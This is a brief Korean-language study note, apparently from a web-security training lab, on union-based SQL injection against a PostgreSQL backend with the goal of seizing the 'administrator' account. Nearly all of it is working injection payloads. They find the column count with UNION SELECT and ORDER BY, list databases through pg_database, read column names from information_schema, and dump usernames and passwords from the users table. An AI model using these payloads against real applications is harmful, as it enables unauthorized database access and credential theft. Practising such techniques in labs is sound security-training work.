Union sql injection(non-Oracle)

non-Oracle DB 서버에서 'administrator' 계정 탈취

• postgres임

+UNION+SELECT+'1','1'-- # union select로 data 개수 확인
+Order+by 1,2 -- # order by로 data 개수 확인
+union+SELECT+'1',datname,'1'+FROM+pg_database--
+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--